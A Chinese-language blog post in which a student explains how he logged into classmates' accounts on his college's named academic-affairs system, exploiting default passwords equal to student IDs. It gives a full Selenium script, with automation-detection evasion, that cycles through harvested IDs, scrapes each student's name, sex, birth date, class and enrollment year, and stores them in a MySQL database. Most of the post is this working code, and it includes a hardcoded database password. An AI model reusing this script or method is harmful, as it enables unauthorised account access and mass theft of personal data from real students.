当前位置 博文首页 > 小航冲冲冲的博客:湖南科技职业学院教务系统学生信息爬取存储

    小航冲冲冲的博客:湖南科技职业学院教务系统学生信息爬取存储

    作者:[db:作者] 时间:2021-06-15 15:11

    效果展示?

    本人为湖南科技职业学院一名云计算大二学生

    这几天闲得无事爬了一手我们学校的学生信息,但只有软件学院的,因为我只有软件学院的学生学号

    如果有全校的学生学号,估计可以全爬下来

    ?话不多说直接开始分析:

    我记得之前辅导员说过,很多学生忘了教务系统密码,就全部把密码重置为学号

    这说明什么,这说明拿到学号就可以登录教务系统了,不得不吐槽这也太草率了

    首先我们得先弄到学号,看看我在班级群发现什么好东西了[滑稽.jpg]

    我们打开这个文件,哟西,大大地快乐,成功拿到学号

    拿到学号后,存储到一个txt文件里,等会要用到

    good,我们简单分析一波,里面有重复的学号,因为这是期末考试的学号,一个人要考两三场考试,所以会出现重复

    我们写一手文件去重

    我们得再新建一个空白txt 名字为 '新软件学院学号.txt'

    import shutil
    a=0
    readDir = './软件学院学号.txt'  #old
    writeDir = "./新软件学院学号.txt" #new
    lines_seen = set()
    outfile = open(writeDir, "w")
    f = open(readDir, "r")
    for line in f:
      if line not in lines_seen:
        a+=1
        outfile.write(line)
        lines_seen.add(line)
        print(a)
        print('\n')
    outfile.close()
    print("success")

    使用上段代码,去重成功,拿到新无重复的的学生学号

    下面开始分析教务系统页面

    一个非常简陋的登录页面

    我们需要使用selenium输入学号密码,并登录

    首先你得需要一个chrome驱动器

    而且学号要从txt文件里一行一行的拿取进行登录

    for line in open("./新软件学院学号.txt"):
      print(line)

    效果非常 good

    继续分析页面

    from selenium import webdriver
    from selenium.webdriver.chrome.options import Options
    from selenium.webdriver import ChromeOptions
    from time import sleep
    from lxml import etree
    import pymysql
    
    #规避检测
    option = ChromeOptions()
    option.add_experimental_option('excludeSwitches',['enable-automation'])
    
    #规避检测,实例化了一个浏览器对象(一定要传入浏览器的驱动程序)
    wd = webdriver.Chrome(executable_path='D:/Apycharm/pachong/chromedriver/chromedriver.exe',chrome_options=chrome_options,options=option)
    
    
    # UA伪装请求头
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chromeh/81.0.4044.138 Safari/537.36'
    }
    #遍历txt里的学号进行登录
    for line in open("./新软件学院学号.txt"):
        try:
            wd.get('http://jwmv.hnkjxy.net.cn/sjd/#/login')
            sleep(1)
            #用户、密码
            wd.find_element_by_xpath('//*[@id="app"]/div/form/div[1]/div/input').send_keys(line)
            wd.find_element_by_xpath('//*[@id="app"]/div/form/div[2]/div/input').send_keys(line)
            #登录(可能会出现该密码不存在,设置异常处理,并开始登录下一个账号)
            wd.find_element_by_xpath('//*[@id="app"]/div/div[2]/button').click()

    执行后进入了此页面

    我们可以看到右下角有个个人信息

    ?我们在上一段代码的基础上增加一个点击个人中心的代码(可能会出错,加个异常处理,如果出错,跳出,进行下一个学号的登录)

    #个人中心
            try:
                wd.find_element_by_xpath('//*[@id="app"]/div/div[2]/div[3]/img').click()
            except Exception:
                continue

    我们运行之后,来到了这个页面,这是我们的最终目标的页面,并需要这个页面的源码

    ?获取页面源码

    page_text = wd.page_source

    使用etree.HTML解析源码

    tree = etree.HTML(page_text)

    使用xpath获得主要信息

    #名字
            try:
                name = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/p/text()')[0]
            except Exception:
                pass
            finally:
                name = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/p/text()')[0]
            #性别
            sex = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/div[1]/img/@src')[0]
            if sex == 'static/img/male.png':
                sex = "男"
            elif sex == 'static/img/female_1.png':
                sex = "女"
            #出生日期
            birthday = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/div[1]/p/text()')[0]
            #学校
            school = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/div[2]/div[1]/span/text()')[0]
            #院系
            Department = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/div[2]/div[2]/span/text()')[0]
            #班级
            classa = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/div[2]/div[3]/div[1]/span/text()')[0]
            #入学年份
            year = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/div[2]/div[3]/div[2]/span/text()')[0]
            #学号
            id = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/div[2]/div[3]/div[3]/span/text()')[0]

    数据保存

    使用数据库存储

            #数据库存储
            conn = pymysql.connect(host='localhost', port=3306, user='root', passwd='20191007lh', database='xinxi',charset='utf8')
            # 生成游标对象
            cur = conn.cursor()
            sql1 = "INSERT INTO student VALUES (%s,%s,%s,%s,%s,%s,%s,%s)"
            data = [name,sex,birthday,school,Department,classa,year,id]
            try:
                cur.execute(sql1, data)  # 执行插入的sql语句
                conn.commit()  # 提交到数据库执行
            except Exception:
                # 发生错误时回滚
                conn.rollback()
                print("出现错误/可能与重复的值有关")
            print('%s 存入成功'%name)
        except Exception:
            continue

    最后关闭数据库连接

    conn.close()  # 关闭数据库连接

    ?

    最后贴上完整代码

    from selenium import webdriver
    from selenium.webdriver.chrome.options import Options
    from selenium.webdriver import ChromeOptions
    from time import sleep
    from lxml import etree
    import pymysql
    
    #无可视化
    chrome_options = Options()
    chrome_options.add_argument('--headless')
    chrome_options.add_argument('--disable-gpu')
    
    #规避检测
    option = ChromeOptions()
    option.add_experimental_option('excludeSwitches',['enable-automation'])
    
    #规避检测,实例化了一个浏览器对象(一定要传入浏览器的驱动程序)
    wd = webdriver.Chrome(executable_path='D:/Apycharm/pachong/chromedriver/chromedriver.exe',chrome_options=chrome_options,options=option)
    
    
    # UA伪装请求头
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chromeh/81.0.4044.138 Safari/537.36'
    }
    #遍历txt里的学号进行登录
    # for line in open("./新软件学院学号.txt"):
    # for line in open("./学生学号17届.txt"):
    for line in open("./新软件学院学号.txt"):
        try:
            wd.get('http://jwmv.hnkjxy.net.cn/sjd/#/login')
            sleep(1)
            #用户、密码
            wd.find_element_by_xpath('//*[@id="app"]/div/form/div[1]/div/input').send_keys(line)
            wd.find_element_by_xpath('//*[@id="app"]/div/form/div[2]/div/input').send_keys(line)
            #登录(可能会出现该密码不存在,设置异常处理,并开始登录下一个账号)
            wd.find_element_by_xpath('//*[@id="app"]/div/div[2]/button').click()
            sleep(1)
            #个人中心
            try:
                wd.find_element_by_xpath('//*[@id="app"]/div/div[2]/div[3]/img').click()
            except Exception:
                continue
            sleep(1)
            #信息页面源码
            page_text = wd.page_source
    
            tree = etree.HTML(page_text)
            #名字
            try:
                name = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/p/text()')[0]
            except Exception:
                pass
            finally:
                name = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/p/text()')[0]
            #性别
            sex = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/div[1]/img/@src')[0]
            if sex == 'static/img/male.png':
                sex = "男"
            elif sex == 'static/img/female_1.png':
                sex = "女"
            #出生日期
            birthday = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/div[1]/p/text()')[0]
            #学校
            school = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/div[2]/div[1]/span/text()')[0]
            #院系
            Department = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/div[2]/div[2]/span/text()')[0]
            #班级
            classa = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/div[2]/div[3]/div[1]/span/text()')[0]
            #入学年份
            year = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/div[2]/div[3]/div[2]/span/text()')[0]
            #学号
            id = tree.xpath('//*[@id="app"]/div/div[1]/div[1]/div[2]/div[3]/div[3]/span/text()')[0]
    
            # print(name,sex,birthday,school,Department,classa,year,id)
            #数据库存储
            conn = pymysql.connect(host='localhost', port=3306, user='root', passwd='20191007lh', database='xinxi',charset='utf8')
            # 生成游标对象
            cur = conn.cursor()
            sql1 = "INSERT INTO student VALUES (%s,%s,%s,%s,%s,%s,%s,%s)"
            data = [name,sex,birthday,school,Department,classa,year,id]
            try:
                cur.execute(sql1, data)  # 执行插入的sql语句
                conn.commit()  # 提交到数据库执行
            except Exception:
                # 发生错误时回滚
                conn.rollback()
                print("出现错误/可能与重复的值有关")
            print('%s 存入成功'%name)
        except Exception:
            continue
    conn.close()  # 关闭数据库连接

    ?

    更新

    爬了没几天网站没了,学校换网站了不好爬了